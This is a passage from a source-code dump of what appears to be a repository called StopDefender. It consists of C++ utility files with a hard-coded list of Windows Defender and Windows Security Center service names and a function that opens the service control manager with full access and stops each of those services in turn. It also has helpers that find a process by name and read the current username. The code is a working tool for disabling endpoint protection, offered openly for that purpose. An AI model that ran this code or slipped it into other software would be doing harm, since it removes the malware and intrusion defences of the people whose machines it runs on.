https://raw.githubusercontent.com/lab52io/StopDefender/ad9b5086c43c80f134b1117cfadb79a5611d48e6/StopDefender/stdafx.cpp -------------------------------------------------------------------------------- /StopDefender/stdafx.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lab52io/StopDefender/ad9b5086c43c80f134b1117cfadb79a5611d48e6/StopDefender/stdafx.h -------------------------------------------------------------------------------- /StopDefender/targetver.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lab52io/StopDefender/ad9b5086c43c80f134b1117cfadb79a5611d48e6/StopDefender/targetver.h -------------------------------------------------------------------------------- /StopDefender/util.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include "util.h" 8 | 9 | using namespace std; 10 | 11 | wstring get_usernameW() 12 | { 13 | TCHAR username[UNLEN + 1]; 14 | DWORD username_len = UNLEN + 1; 15 | GetUserName(username, &username_len); 16 | std::wstring username_w(username); 17 | return username_w; 18 | } 19 | 20 | string get_usernameA() 21 | { 22 | TCHAR username[UNLEN + 1]; 23 | DWORD username_len = UNLEN + 1; 24 | GetUserName(username, &username_len); 25 | std::wstring username_w(username); 26 | std::string username_s(username_w.begin(), username_w.end()); 27 | return username_s; 28 | } 29 | 30 | BOOL StopDefenderService() { 31 | SERVICE_STATUS_PROCESS ssp; 32 | BOOL retSuccess = FALSE; 33 | 34 | SC_HANDLE schSCManager = OpenSCManager( 35 | NULL, // local computer 36 | NULL, // ServicesActive database 37 | SC_MANAGER_ALL_ACCESS); // full access rights 38 | 39 | if (NULL == schSCManager) 40 | { 41 | _tprintf(TEXT("[-] OpenSCManager failed (%d)\n"), GetLastError()); 42 | return FALSE; 43 | } 44 | 45 | _tprintf(TEXT("[+] OpenSCManager success!\n")); 46 | 47 | for (int i = 0; i < DEF_SERVICES_COUNT; i++) { 48 | 49 | SC_HANDLE schService = OpenService( 50 | schSCManager, // SCM database 51 | DefenderServices[i], 52 | SERVICE_STOP | 53 | SERVICE_QUERY_STATUS | 54 | SERVICE_ENUMERATE_DEPENDENTS); 55 | 56 | if (schService == NULL) 57 | { 58 | _tprintf(TEXT("[-] OpenService %s failed (%d)\n"), DefenderServices[i], GetLastError()); 59 | //CloseServiceHandle(schSCManager); 60 | //return FALSE; 61 | continue; 62 | } 63 | 64 | _tprintf(TEXT("[+] OpenService %s success!\n"), DefenderServices[i]); 65 | 66 | //Stopping service 67 | 68 | if (!ControlService( 69 | schService, 70 | SERVICE_CONTROL_STOP, 71 | (LPSERVICE_STATUS)&ssp) && GetLastError() != ERROR_SERVICE_NOT_ACTIVE 72 | ) 73 | { 74 | _tprintf(TEXT("[-] Stop attempt failed ( Error %d)\n"), GetLastError()); 75 | CloseServiceHandle(schService); 76 | //CloseServiceHandle(schSCManager); 77 | continue; 78 | //return FALSE; 79 | } 80 | 81 | _tprintf(TEXT("[+] %s stopped successfully!\n"), DefenderServices[i]); 82 | CloseServiceHandle(schService); 83 | retSuccess = TRUE; 84 | } 85 | 86 | CloseServiceHandle(schSCManager); 87 | 88 | return retSuccess; 89 | 90 | } 91 | 92 | int GetProcessByName(PCTSTR name) 93 | { 94 | DWORD pid = 0; 95 | 96 | // Create toolhelp snapshot. 97 | HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 98 | PROCESSENTRY32 process; 99 | ZeroMemory(&process, sizeof(process)); 100 | process.dwSize = sizeof(process); 101 | 102 | // Walkthrough all processes. 103 | if (Process32First(snapshot, &process)) 104 | { 105 | do 106 | { 107 | // Compare process.szExeFile based on format of name, i.e., trim file path 108 | // trim .exe if necessary, etc. 109 | if (_tcscmp(process.szExeFile, name) == 0) 110 | { 111 | return process.th32ProcessID; 112 | } 113 | } while (Process32Next(snapshot, &process)); 114 | } 115 | 116 | CloseHandle(snapshot); 117 | 118 | return NULL; 119 | } -------------------------------------------------------------------------------- /StopDefender/util.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | 6 | using namespace std; 7 | 8 | #ifdef UNICODE 9 | #define get_username get_usernameW 10 | #else 11 | #define get_username get_usernameA 12 | #endif 13 | 14 | #define DEF_SERVICES_COUNT 5 15 | 16 | const PCTSTR DefenderServices[] = { 17 | TEXT("WdFilter"), // Windows Defender Disk inspection Minifilter 18 | TEXT("wscsvc"), // Windows Security Center 19 | TEXT("WinDefend"), // Microsoft Defender Antivirus Service 20 | TEXT("Sense"), // Windows Defender Advanced Threat Protection Service 21 | TEXT("WdNisSvc") // Microsoft Defender Antivirus Network Inspection Service 22 | }; 23 | 24 | wstring get_usernameW(); 25 | string get_usernameA(); 26 | BOOL StopDefenderService(); 27 | int GetProcessByName(PCTSTR name); --------------------------------------------------------------------------------